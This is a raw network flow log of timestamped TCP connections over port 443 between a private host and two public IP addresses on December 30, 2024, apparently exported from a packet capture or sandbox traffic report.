Dec 30, 2024 11:37:15.317589045 CET	443	50346	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:15.317717075 CET	50346	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:15.319672108 CET	443	50345	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:15.319750071 CET	443	50345	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:15.319818974 CET	50345	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:15.437056065 CET	50348	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.437087059 CET	443	50348	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:15.437203884 CET	50348	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.437210083 CET	443	50348	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:15.438436031 CET	50346	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:15.438462973 CET	443	50346	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:15.438813925 CET	50357	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:15.438860893 CET	50345	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:15.438862085 CET	443	50357	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:15.438888073 CET	443	50345	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:15.438910007 CET	50345	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:15.438930035 CET	50357	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:15.438951015 CET	50345	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:15.439204931 CET	50357	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:15.439213037 CET	443	50357	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:15.439508915 CET	50358	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:15.439547062 CET	443	50358	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:15.439603090 CET	50358	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:15.439843893 CET	50358	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:15.439861059 CET	443	50358	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:15.607942104 CET	443	50349	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:15.608023882 CET	50349	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.608424902 CET	50349	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.608431101 CET	443	50349	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:15.608603954 CET	50349	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.608608007 CET	443	50349	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:15.927081108 CET	443	50348	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:15.927159071 CET	50348	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.927189112 CET	443	50348	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:15.927229881 CET	50348	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.927253962 CET	443	50348	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:15.927293062 CET	50348	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.927344084 CET	443	50348	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:15.927409887 CET	443	50348	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:15.927464008 CET	50348	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.927740097 CET	50348	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.927761078 CET	443	50348	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:15.928436995 CET	50363	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.928486109 CET	443	50363	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:15.928579092 CET	50363	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.928986073 CET	50363	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:15.928993940 CET	443	50363	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.078917980 CET	443	50349	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.078959942 CET	443	50349	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.078994989 CET	50349	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.079020023 CET	443	50349	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.079027891 CET	50349	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.079073906 CET	50349	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.079082966 CET	443	50349	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.079088926 CET	443	50349	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.079138994 CET	50349	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.079876900 CET	50349	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.079893112 CET	443	50349	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.081216097 CET	50364	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.081257105 CET	443	50364	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.083503008 CET	50364	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.093297958 CET	50364	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.093318939 CET	443	50364	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.200851917 CET	443	50358	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:16.200931072 CET	50358	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.201349020 CET	50358	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.201378107 CET	443	50358	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:16.203167915 CET	50358	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.203181982 CET	443	50358	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:16.203561068 CET	443	50357	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:16.203656912 CET	50357	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.203915119 CET	50357	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.203919888 CET	443	50357	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:16.204057932 CET	50357	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.204061985 CET	443	50357	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:16.532785892 CET	443	50363	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.532852888 CET	50363	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.533278942 CET	50363	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.533293009 CET	443	50363	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.533754110 CET	50358	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.534183025 CET	50364	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.534193993 CET	50357	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.534626007 CET	50366	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.534667969 CET	443	50366	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:16.535264969 CET	50366	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.535528898 CET	50366	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.535542965 CET	443	50366	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:16.535799026 CET	50363	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.535814047 CET	443	50363	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.536648035 CET	50367	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.536710024 CET	443	50367	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:16.536849976 CET	50367	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.537353039 CET	50367	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:16.537364960 CET	443	50367	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:16.937851906 CET	443	50363	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.937901020 CET	443	50363	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.937932014 CET	50363	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.937957048 CET	443	50363	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.937972069 CET	50363	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.938028097 CET	443	50363	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:16.938080072 CET	50363	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.938976049 CET	50363	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:16.938991070 CET	443	50363	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:17.134865046 CET	443	50366	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.135027885 CET	50366	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.135584116 CET	50366	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.135596037 CET	443	50366	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.135765076 CET	50366	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.135771036 CET	443	50366	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.156940937 CET	443	50367	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.157042027 CET	50367	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.157681942 CET	50367	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.157687902 CET	443	50367	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.157916069 CET	50367	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.157921076 CET	443	50367	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.505182981 CET	443	50366	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.505450010 CET	50366	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.505474091 CET	443	50366	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.505517006 CET	50366	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.505599022 CET	50366	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.505640030 CET	443	50366	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.505696058 CET	50366	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.506186008 CET	50376	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:17.506238937 CET	443	50376	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:17.506324053 CET	50376	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:17.506407022 CET	50377	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.506464958 CET	443	50377	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.508500099 CET	50377	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.508693933 CET	50377	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.508707047 CET	443	50377	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.510685921 CET	50376	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:17.510699987 CET	443	50376	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:17.538104057 CET	443	50367	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.538362026 CET	50367	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.538374901 CET	443	50367	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.538438082 CET	50367	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.538894892 CET	443	50367	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.538949966 CET	443	50367	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.538983107 CET	50367	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.538983107 CET	50367	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.538983107 CET	50367	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.538994074 CET	443	50367	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.539019108 CET	50367	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.539191961 CET	50367	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.539861917 CET	50378	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:17.539886951 CET	443	50378	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:17.540080070 CET	50378	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:17.540613890 CET	50378	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:17.540625095 CET	443	50378	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:17.540977001 CET	50379	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.541018963 CET	443	50379	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:17.541079044 CET	50379	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.541232109 CET	50379	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:17.541241884 CET	443	50379	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.110594034 CET	443	50377	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.110668898 CET	50377	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.111361980 CET	443	50377	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.111443043 CET	50377	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.119194031 CET	50377	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.119219065 CET	443	50377	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.119816065 CET	443	50377	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.119883060 CET	50377	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.121359110 CET	443	50376	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.121454954 CET	50376	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.125941992 CET	50377	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.139638901 CET	443	50379	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.139705896 CET	50379	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.140408039 CET	443	50379	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.140459061 CET	50379	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.147785902 CET	50379	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.147798061 CET	443	50379	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.148034096 CET	443	50379	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.148087025 CET	50379	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.155147076 CET	50376	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.155179977 CET	443	50376	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.155518055 CET	443	50376	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.155571938 CET	50376	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.157808065 CET	50376	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.158893108 CET	443	50378	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.158951044 CET	50378	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.171340942 CET	443	50377	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.197685957 CET	50378	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.197778940 CET	443	50378	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.198291063 CET	443	50378	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.198348999 CET	50378	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.199357986 CET	443	50376	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.201003075 CET	50379	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.211766005 CET	50378	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.247330904 CET	443	50379	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.255342960 CET	443	50378	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.482315063 CET	443	50377	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.482405901 CET	50377	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.482433081 CET	443	50377	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.482549906 CET	50377	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.482666016 CET	50377	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.482717991 CET	443	50377	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.482770920 CET	50377	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.483324051 CET	50388	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.483376026 CET	443	50388	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.483452082 CET	50388	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.483726025 CET	50388	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.483741045 CET	443	50388	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.509845972 CET	443	50379	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.509977102 CET	50379	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.510009050 CET	443	50379	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.510453939 CET	443	50379	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.510504961 CET	50379	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.517901897 CET	50379	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.517925024 CET	443	50379	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.518858910 CET	50389	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.518899918 CET	443	50389	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.519046068 CET	50389	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.519242048 CET	50389	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:18.519262075 CET	443	50389	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:18.565475941 CET	443	50376	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.565526962 CET	443	50376	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.565560102 CET	50376	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.565589905 CET	443	50376	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.565603018 CET	50376	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.565629005 CET	50376	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.565634012 CET	443	50376	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.565665960 CET	443	50376	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.565746069 CET	50376	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.566550970 CET	50376	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.566566944 CET	443	50376	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.567246914 CET	50390	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.567286015 CET	443	50390	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.567823887 CET	50390	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.567958117 CET	443	50378	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.567990065 CET	50390	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.568000078 CET	443	50390	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.568001986 CET	50378	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.568008900 CET	443	50378	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.568018913 CET	443	50378	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.568054914 CET	50378	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.568077087 CET	50378	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.568080902 CET	443	50378	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.568135023 CET	443	50378	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.568170071 CET	50378	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.568526030 CET	50378	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.568535089 CET	443	50378	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.568928003 CET	50391	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.568973064 CET	443	50391	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:18.569310904 CET	50391	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.569490910 CET	50391	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:18.569505930 CET	443	50391	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.083515882 CET	443	50388	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.083628893 CET	50388	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.084155083 CET	50388	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.084166050 CET	443	50388	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.084341049 CET	50388	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.084345102 CET	443	50388	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.119292974 CET	443	50389	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.119508982 CET	50389	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.119927883 CET	50389	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.119931936 CET	443	50389	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.120362043 CET	50389	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.120366096 CET	443	50389	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.178347111 CET	443	50390	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.178704023 CET	50390	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.189449072 CET	50390	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.189466000 CET	443	50390	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.191436052 CET	50390	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.191452980 CET	443	50390	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.205090046 CET	443	50391	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.205271959 CET	50391	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.206234932 CET	50391	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.206248999 CET	443	50391	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.206341028 CET	50391	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.206346989 CET	443	50391	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.449759960 CET	443	50388	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.450541019 CET	50388	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.450570107 CET	443	50388	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.450613022 CET	50388	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.450823069 CET	443	50388	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.450886965 CET	443	50388	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.450942039 CET	50388	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.453731060 CET	50388	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.453753948 CET	443	50388	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.454348087 CET	50398	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.454395056 CET	443	50398	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.454530954 CET	50398	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.454843044 CET	50398	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.454848051 CET	443	50398	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.602035046 CET	443	50389	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.602449894 CET	443	50389	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.603118896 CET	50389	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.603118896 CET	50389	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.603324890 CET	50401	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.603384972 CET	443	50401	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.603696108 CET	50401	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.603697062 CET	50401	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.603733063 CET	443	50401	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:19.604403019 CET	443	50390	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.604443073 CET	443	50390	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.604886055 CET	50390	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.604886055 CET	50390	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.604893923 CET	443	50390	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.604986906 CET	50390	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.605276108 CET	50390	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.605298042 CET	443	50390	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.605645895 CET	50402	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.605684996 CET	443	50402	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.605751038 CET	50402	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.605969906 CET	50402	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.605983973 CET	443	50402	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.777376890 CET	443	50391	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.777426004 CET	443	50391	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.777472973 CET	50391	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.777472973 CET	50391	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.777494907 CET	443	50391	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.777555943 CET	443	50391	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.777596951 CET	50391	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.779330969 CET	50391	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.779333115 CET	50404	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.779354095 CET	443	50391	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.779395103 CET	443	50404	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.779886007 CET	50404	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.779886007 CET	50404	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:19.779931068 CET	443	50404	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:19.908528090 CET	50389	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:19.908561945 CET	443	50389	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.064414024 CET	443	50398	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.064496994 CET	50398	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.065256119 CET	50398	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.065268993 CET	443	50398	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.067111015 CET	50398	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.067117929 CET	443	50398	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.221823931 CET	443	50401	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.221927881 CET	50401	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.223603010 CET	50401	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.223615885 CET	443	50401	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.223812103 CET	443	50402	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:20.223846912 CET	50401	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:20.223854065 CET	443	50401	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:20.223885059 CET	50402	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:20.224694014 CET	50402	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:20.224701881 CET	443	50402	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:20.224953890 CET	50402	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:20.224960089 CET	443	50402	142.250.186.97	192.168.2.4
